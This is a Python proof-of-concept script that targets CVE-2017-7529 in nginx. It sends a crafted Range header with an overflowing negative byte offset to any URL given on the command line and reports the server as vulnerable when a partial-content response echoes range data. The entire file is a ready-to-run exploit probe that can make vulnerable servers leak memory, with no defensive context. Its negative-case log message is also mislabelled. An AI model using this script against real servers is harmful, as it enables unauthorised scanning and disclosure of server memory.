import sys
import logging
import requests
import urllib3
urllib3.disable_warnings()
logging.basicConfig(level=logging.INFO)
log = logging.getLogger(__name__)
    
def HTTPRequest(url, headers={}, timeout=10.0):
    response = requests.get(url, headers=headers, timeout=timeout)
    headers = response.headers
    log.info("status: %s Server: %s", response.status_code, headers.get('Server', ''))
    return response

def SendExploit(url):
    log.info("Target: %s", url)
    response = HTTPRequest(url)
    contentlg = response.headers.get('Content-Length', 0)
    byteslg = int(contentlg) + 623
    contentlg = "bytes=-%d, -9223372036854%d" % (byteslg, 776000 - byteslg)
    
    response = HTTPRequest(url, headers={'Range': contentlg})
    if response.status_code  == 206 and "Content-Range" in response.text:
        log.info("[+] Vulnerable CVE-2017-7529")
    else:
        log.info("[+] Unknown Vulnerable")
        
if __name__ == '__main__':
    if len(sys.argv) != 2:
        print("[*] %s URL" % sys.argv[0])
        sys.exit()
    
    url = sys.argv[1]
    SendExploit(url)
